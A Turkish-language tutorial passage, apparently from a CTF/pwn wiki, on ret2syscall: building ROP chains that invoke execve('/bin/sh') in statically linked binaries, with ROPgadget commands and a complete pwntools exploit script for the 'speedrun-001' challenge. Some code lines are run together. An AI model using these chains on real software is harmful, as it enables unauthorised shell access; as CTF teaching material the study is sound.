Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağırmayacağız. Bu durumda, her şey /bin/sh'yi çalıştırmak için bazı argümanlarla sys_execve sistem çağrısını çağırmak üzere hazırlanacaktır. Bu teknik genellikle statik olarak derlenmiş ikili dosyalarda gerçekleştirilir, bu nedenle birçok gadget ve sistem çağrısı talimatı olabilir.
syscall çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir:
rax: 59 sys_execve'yi belirtir
rdi: "/bin/sh" dosyasını çalıştırmak için işaretçi
rsi: 0 argüman geçilmediğini belirtir
rdx: 0 ortam değişkeni geçilmediğini belirtir
Yani, temelde /bin/sh dizesini bir yere yazmak ve ardından syscall'ı gerçekleştirmek gerekiyor (stack'i kontrol etmek için gereken padding'in farkında olarak). Bunun için, /bin/sh'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var.
Çağrılacak başka ilginç bir sistem çağrısı mprotect'dir; bu, bir saldırganın bellekteki bir sayfanın izinlerini değiştirmesine olanak tanır. Bu, ret2shellcode ile birleştirilebilir.
Kayıt gadget'ları
Bu kayıtları nasıl kontrol edeceğimizi bulmaya başlayalım:
Sonra, bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor.
ROPgadget --binary speedrun-001| grep " : mov qword ptr \["mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
ROP zincirini otomatikleştir
Aşağıdaki komut, yazma-nerede-ne yazılacağı aletleri ve syscall talimatları olduğunda, statik bir ikili dosya verildiğinde tam bir sys_execve ROP zinciri oluşturur:
ROPgadget--binaryvuln--ropchain
32 bit
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop += popRdx # place value into EAXrop +="/bin"# 4 bytes at a timerop += popRax # place value into edxrop +=p32(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdxrop += popRdxrop +="//sh"rop += popRaxrop +=p32(0x6b6000+4)rop += writeGadget
64 bit
'''Lets write "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)# Writable memoryrop += writeGadget #Address to: mov qword ptr [rax], rdx
Gadget Eksikliği
Eğer gadget eksikliğiniz varsa, örneğin /bin/sh'yi belleğe yazmak için, yığın üzerinden tüm kayıt değerlerini (RIP ve parametre kayıtları dahil) kontrol etmek için SROP tekniğini kullanabilirsiniz:
from pwn import*target =process('./speedrun-001')#gdb.attach(target, gdbscript = 'b *0x400bad')# Establish our ROP GadgetspopRax =p64(0x415664)popRdi =p64(0x400686)popRsi =p64(0x4101f3)popRdx =p64(0x4498b5)# 0x000000000048d251 : mov qword ptr [rax], rdx ; retwriteGadget =p64(0x48d251)# Our syscall gadgetsyscall =p64(0x40129c)'''Here is the assembly equivalent for these blockswrite "/bin/sh" to 0x6b6000pop rdx, 0x2f62696e2f736800pop rax, 0x6b6000mov qword ptr [rax], rdx'''rop =''rop += popRdxrop +="/bin/sh\x00"# The string "/bin/sh" in hex with a null byte at the endrop += popRaxrop +=p64(0x6b6000)rop += writeGadget'''Prep the four registers with their arguments, and make the syscallpop rax, 0x3bpop rdi, 0x6b6000pop rsi, 0x0pop rdx, 0x0syscall'''rop += popRaxrop +=p64(0x3b)rop += popRdirop +=p64(0x6b6000)rop += popRsirop +=p64(0)rop += popRdxrop +=p64(0)rop += syscall# Add the padding to the saved return addresspayload ="0"*0x408+ rop# Send the payload, drop to an interactive shell to use our new shelltarget.sendline(payload)target.interactive()
64 bit, nx, PIE yok, bazı bellek alanına execve çağırmak için bir ROP yazın ve oraya atlayın. Yığın üzerinde yazmak için matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir.